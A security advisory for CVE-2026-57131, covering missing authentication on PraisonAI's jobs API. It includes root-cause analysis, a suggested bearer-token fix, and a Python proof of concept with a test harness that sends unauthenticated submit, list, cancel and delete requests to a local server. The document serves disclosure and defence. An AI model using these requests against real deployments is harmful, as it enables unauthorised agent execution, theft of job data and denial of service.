GHSA-fq2m-6wqh-x44g CVE-2026-57131 PYSEC-2026-3511
PraisonAI: Jobs API exposes agent-execution endpoints with no authentication
- Severity
- 9.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.97%
- Chance of exploitation in the next 30 days. Higher than 61.99% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-306 Missing Authentication for Critical Function
- CWE-862 Missing Authorization
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
4.6.59- Upgrade praisonai to this version or later
Description
praisonai: Jobs API exposes agent-execution endpoints with no authentication
Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI
Package: praisonai on PyPI
Affected version (empirically tested): 4.6.48
Components:
praisonai.jobs.server.create_app—praisonai/jobs/server.pypraisonai.jobs.router.create_router—praisonai/jobs/router.py- Routes mounted at
/api/v1/runs/...Weakness: CWE-306 Missing Authentication for Critical Function · CWE-862 Missing Authorization · CWE-94 Code Injection (via prompt / agent_yaml).
TL;DR
praisonai ships a standalone async-jobs HTTP server (python -m praisonai.jobs.server --host=0.0.0.0 --port=8005) whose job is to accept job submissions and run agents on the operator's behalf. Every endpoint under /api/v1/runs is unauthenticated. There is no auth_token field, no Depends(verify_*), no middleware that inspects Authorization — the CORS middleware lists Authorization in allow_headers (the only signal in the whole module that the developer was aware authentication is a thing), but no route ever reads it.
A network-reachable attacker can:
- Execute arbitrary agent code —
POST /api/v1/runsacceptsprompt,agent_yaml,agent_file,config,framework. The job is queued and an executor invokes whichever framework (praisonai/crewai/autogen) the attacker picks, with whichever prompt and tool config the attacker supplies. The job runs in the operator's process — same environment variables, same filesystem, same credentials (OpenAI / Anthropic / Azure / Bedrock keys; tool integrations; on-disk YAML recipes). - List and read every job system-wide —
GET /api/v1/runslists all jobs;GET /api/v1/runs/{job_id}/resultreturns the full result of any completed job. Operator's prompts, the agent's chain-of-thought, tool inputs / outputs, retrieved documents — all readable to an anonymous client. - Cancel or delete any job —
POST /…/cancelandDELETE /…/{job_id}accept arbitrary job IDs without any ownership / authorization check. - Stream live SSE of any in-flight job —
GET /…/{job_id}/streamreads the executor's live progress for any job ID.
The remote-RCE shape (1) is the load-bearing one. Even with webhook_url SSRF-guarded (and it is — the model validator at jobs/models.py:42-65 rejects localhost / private IPs), the attacker needs no callback: SSE streaming returns the agent's output directly on the same connection.
Root cause
Expected behavior when starting `praisonai.jobs.server`:
"I'm running an HTTP API my application backend will call.
The CORS middleware permits Authorization, so the server
enforces it. Anonymous attackers cannot submit jobs."
Actual behavior (praisonai 4.6.48):
- server.py:59-152 create_app builds a FastAPI app, adds
CORSMiddleware, includes the jobs router.
NO auth middleware. NO global Depends.
- router.py:43 @router.post("") submit_job(...)
No Depends, no Authorization header read,
no auth_token config field at all.
- router.py:109,148,161,180,205,224 every other route:
likewise, no auth on any of GET-list,
GET-status, GET-result, POST-cancel,
DELETE, GET-stream.
- server.py:117 CORS allow_headers DOES include
"Authorization" — the only token in the
entire jobs/ subpackage that suggests
the developer was thinking about auth.
Impact:
The API is intended to be production-ready (the CORS code at
server.py:96-102 explicitly branches on
`os.getenv("ENVIRONMENT") == "production"` to harden origins),
yet ships with no authentication layer at all. Operators who
bind the server to a network interface — including the
suggested `--host=0.0.0.0` in the CLI parser — expose
unauthenticated agent execution to anyone who can reach the
port.
The same package gets auth right elsewhere (praisonai/gateway/server.py auto-generates an auth_token if none is configured and refuses to serve requests without it; praisonai/endpoints/a2u_server.py:250-264 uses hmac.compare_digest on a Bearer token). The jobs API is the outlier.
Empirically affected routes
Verified by PoC against published praisonai==4.6.48 (/api/v1/runs/... paths):
| Method | Path | Unauth result |
|---|---|---|
POST |
/api/v1/runs |
HTTP 202 Accepted, attacker job queued and executor invoked the framework |
GET |
/api/v1/runs |
HTTP 200, lists every job in the store |
GET |
/api/v1/runs/{job_id} |
HTTP 200, returns status of any job |
GET |
/api/v1/runs/{job_id}/result |
(untested; same router, no auth) |
POST |
/api/v1/runs/{job_id}/cancel |
HTTP 200 / 409 (processed) |
DELETE |
/api/v1/runs/{job_id} |
HTTP 204 No Content (deleted) |
GET |
/api/v1/runs/{job_id}/stream |
(untested; SSE; same router, no auth) |
PoC run log excerpt (poc/run-log.txt):
[1] POST /api/v1/runs (no Authorization) -> HTTP 202
body: {"job_id":"run_90f21c98b82a","status":"queued",...}
[01:15:44] executor.py:201 ERROR Job failed: run_90f21c98b82a -
OPENAI_API_KEY environment variable is required ...
The executor's error confirms the prompt reached the framework's LLM-invocation step. Had the operator set OPENAI_API_KEY, the attacker prompt would have executed.
Impact details
1. Remote code execution via agent invocation
JobSubmitRequest.framework accepts "praisonai", "crewai", or "autogen". Each framework can be configured (via the YAML / config the attacker sends) to use arbitrary tools. praisonai's tool loaders (praisonai/agents_generator.py load_tools_from_module*) have a documented history of arbitrary-import (CVE-2026-40287 and its fix-of-fix CVE-2026-44334). In practice the operator's installation may or may not expose these sinks; either way the attacker controls the prompt, which the LLM will execute with whatever tools the operator wired (including shell, filesystem, browser, …).
The job executor runs in-process under the operator's service account, with full access to environment variables (LLM API keys, tool tokens) and to anything praisonai's tools normally touch.
2. Cross-tenant data read
A single-process deployment uses an InMemoryJobStore that is flat — no user_id / tenant_id / workspace_id partition. Any client that knows or guesses a job ID can read it. Worse, the list endpoint (GET /api/v1/runs) returns every job, so guessing isn't even necessary.
Sensitive content in the result includes the attacker's input (harmless) but also any legitimate user's input that the operator's backend submitted — and the agent's full output, which may contain data the agent retrieved from the operator's databases or APIs.
3. Denial of service via job deletion / cancellation
DELETE and cancel accept any job ID. An attacker who polls the list endpoint can enumerate IDs and cancel-then-delete every job in flight, breaking the operator's backend's polling-for-completion flow.
4. webhook_url SSRF — defended
To the developer's credit, JobSubmitRequest.webhook_url is validated against localhost / private / link-local / multicast IPs at submission time (jobs/models.py:42-65). This blocks the naive "submit a job whose webhook posts to AWS IMDS" attack. Honest yield: this is properly guarded.
Anchors
praisonai 4.6.48, source file praisonai/jobs/server.py (sha256 10b5deab96686f276b8ad71fa4712e1e3d301e4c356812d5d0d595b2b9503ef3):
| Line | Symbol | What it shows |
|---|---|---|
| 59-152 | def create_app(cors_origins, store, executor) -> FastAPI: |
Only middleware added is CORS; auth middleware absent. |
| 117 | allow_headers=["Authorization", "Content-Type", "Origin", "Accept", "Idempotency-Key"] |
CORS hints that the operator should send Authorization — sole indicator the developer considered auth. |
| 124 | jobs_router = create_router(get_store, get_executor) |
Router included without dependencies=[…]. |
| 178 | "praisonai.jobs.server:create_app" (passed to uvicorn.run) |
Production-ready binding via the CLI / start_server. |
praisonai 4.6.48, source file praisonai/jobs/router.py (sha256 869564d523c14624afefb211a2e7c6bf8a27b3356bd19a58927fcb5e1ebb014c):
| Line | Symbol | What it shows |
|---|---|---|
| 30-31 | def create_router(store, executor) -> APIRouter: |
Sole entry point; no dependencies=[Depends(...)]. |
| 43 | @router.post("", response_model=JobSubmitResponse, status_code=202) |
submit_job — no auth. |
| 109 | @router.get("", response_model=JobListResponse) |
list_jobs — no auth. |
| 148 | @router.get("/{job_id}", response_model=JobStatusResponse) |
get_job_status — no auth. |
| 161 | @router.get("/{job_id}/result", response_model=JobResultResponse) |
get_job_result — no auth. |
| 180 | @router.post("/{job_id}/cancel", response_model=JobStatusResponse) |
cancel_job — no auth. |
| 205 | @router.delete("/{job_id}", status_code=204) |
delete_job — no auth. |
| 224 | @router.get("/{job_id}/stream") |
stream_job (SSE) — no auth. |
Suggested fix
Add a single FastAPI dependency that reads an Authorization: Bearer <token> header and hmac.compare_digests it against an operator-configured secret. Apply it as a global router dependency:
# praisonai/jobs/auth.py
import hmac, os
from fastapi import HTTPException, Header
_TOKEN = os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN")
async def require_auth(authorization: str | None = Header(None)):
if not _TOKEN:
raise HTTPException(503, "PRAISONAI_JOBS_AUTH_TOKEN not configured")
if not authorization or not authorization.startswith("Bearer "):
raise HTTPException(401, "Bearer auth required")
presented = authorization[len("Bearer "):]
if not hmac.compare_digest(presented, _TOKEN):
raise HTTPException(401, "invalid token")
# praisonai/jobs/router.py
def create_router(store, executor) -> APIRouter:
router = APIRouter(prefix="/api/v1/runs", tags=["jobs"],
dependencies=[Depends(require_auth)]) # <-- single line
...
A startup-time refusal in create_app would round it out:
# praisonai/jobs/server.py:create_app
if not os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN"):
raise RuntimeError(
"PRAISONAI_JOBS_AUTH_TOKEN is required; the jobs API "
"executes attacker-controllable agent code and must not "
"run without authentication."
)
The pattern is already present in the sibling praisonai/gateway/server.py (which auto-generates a random token if none is supplied) — that approach plus a logged warning about the new token would minimize operator friction.
Steps to reproduce
- Clone the target:
git clone --depth 1 https://github.com/MervinPraison/PraisonAI - Run the proof of concept (
poc.py) against the cloned source. - Observe the result shown under Verified result below.
Proof of concept
poc.py
"""
PoC: praisonai Jobs API has zero authentication on agent-execution endpoints.
`praisonai.jobs.server.create_app` builds a FastAPI app and includes
`praisonai.jobs.router.create_router`, which registers POST/GET/DELETE
endpoints under `/api/v1/runs/...` — every one of them executes (or
inspects, cancels, deletes) arbitrary agent jobs. No route reads any
Authorization header; no middleware enforces any auth check.
This PoC starts the jobs API server in-process via uvicorn, then sends
unauthenticated requests to each route and reports the outcome.
"""
import json
import sys
import time
import threading
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError
import uvicorn
from praisonai.jobs.server import create_app
PORT = 18005
def http_request(method, path, body=None, headers=None, timeout=5):
url = f"http://127.0.0.1:{PORT}{path}"
data = None
if body is not None:
data = json.dumps(body).encode("utf-8")
req = Request(url, data=data, method=method, headers=headers or {})
if data is not None:
req.add_header("Content-Type", "application/json")
try:
with urlopen(req, timeout=timeout) as resp:
return resp.status, dict(resp.headers), resp.read().decode("utf-8", errors="replace")
except HTTPError as e:
return e.code, dict(e.headers), e.read().decode("utf-8", errors="replace")
except URLError as e:
return None, {}, f"URLError: {e}"
def run_server(app):
config = uvicorn.Config(app, host="127.0.0.1", port=PORT, log_level="warning")
server = uvicorn.Server(config)
import asyncio
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(server.serve())
def main() -> int:
print("=" * 70)
print("praisonai version: 4.6.48")
print("Test: spin up praisonai.jobs.server in-process, send")
print(" UNAUTHENTICATED requests to every /api/v1/runs route.")
print("=" * 70)
app = create_app()
t = threading.Thread(target=run_server, args=(app,), daemon=True)
t.start()
time.sleep(1.5)
findings = []
# 1. POST /api/v1/runs — submit a new job WITHOUT auth.
payload = {
"prompt": "ATTACKER-CONTROLLED PROMPT — would invoke an agent",
"framework": "praisonai",
"config": {"_attacker_says": "no auth required"},
"timeout": 5,
}
code, hdrs, body = http_request("POST", "/api/v1/runs", body=payload)
print(f"\n[1] POST /api/v1/runs (no Authorization) -> HTTP {code}")
print(f" body: {body[:300]}")
job_id = None
if code == 202:
try:
job_id = json.loads(body).get("job_id")
findings.append(f"POST /api/v1/runs: 202 Accepted, job_id={job_id!r}")
except Exception:
pass
# 2. GET /api/v1/runs — list ALL jobs system-wide.
code, _, body = http_request("GET", "/api/v1/runs?page=1&page_size=20")
print(f"\n[2] GET /api/v1/runs (no Authorization) -> HTTP {code}")
if code == 200:
findings.append("GET /api/v1/runs: unauthenticated list of ALL jobs")
if job_id:
code, _, body = http_request("GET", f"/api/v1/runs/{job_id}")
print(f"\n[3] GET /api/v1/runs/{{job_id}} -> HTTP {code}")
code, _, body = http_request("POST", f"/api/v1/runs/{job_id}/cancel")
print(f"\n[4] POST /api/v1/runs/{{job_id}}/cancel -> HTTP {code}")
code, _, body = http_request("DELETE", f"/api/v1/runs/{job_id}")
print(f"\n[5] DELETE /api/v1/runs/{{job_id}} -> HTTP {code}")
print("\n" + "=" * 70)
if any('POST /api/v1/runs:' in f for f in findings):
print(f"VULNERABLE: {len(findings)} unauthenticated routes confirmed")
for f in findings:
print(f" - {f}")
print("VERDICT: VULNERABLE")
return 0
print("DEFENDED")
return 1
if __name__ == "__main__":
sys.exit(main())
Verification harness (executed against the cloned repo)
This drives the unmodified upstream code rather than a reproduction.
import sys, types, os
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.jobs"]:
m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
import praisonai.jobs.server as S # REAL jobs server
app = S.create_app() # REAL FastAPI app
from starlette.testclient import TestClient
client = TestClient(app)
P="/api/v1/runs"
tests=[("GET list", lambda: client.get(P)),
("POST submit", lambda: client.post(P, json={"agents_config":{"a":"x"},"input":"hi"})),
("GET status", lambda: client.get(P+"/nope")),
("GET result", lambda: client.get(P+"/nope/result")),
("POST cancel", lambda: client.post(P+"/nope/cancel")),
("DEL delete", lambda: client.delete(P+"/nope"))]
codes=[]
for name,fn in tests:
c=fn().status_code; codes.append(c); print(f"[+] (no auth) {name:12s} {P} -> HTTP {c}")
assert all(c not in (401,403) for c in codes), codes
assert codes[0]==200 # list works unauthenticated
print("[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API")
Verified result
This PoC was executed against the live upstream code; captured output:
[+] (no auth) GET list /api/v1/runs -> HTTP 200
[+] (no auth) POST submit /api/v1/runs -> HTTP 422
[+] (no auth) GET status /api/v1/runs -> HTTP 404
[+] (no auth) GET result /api/v1/runs -> HTTP 404
[+] (no auth) POST cancel /api/v1/runs -> HTTP 404
[+] (no auth) DEL delete /api/v1/runs -> HTTP 404
[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API
Credit
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.59 |
4.6.59 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.59
- pip
pip install --upgrade "praisonai>=4.6.59"- poetry
poetry add "praisonai>=4.6.59"- uv
uv add "praisonai>=4.6.59"
Severity breakdown
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
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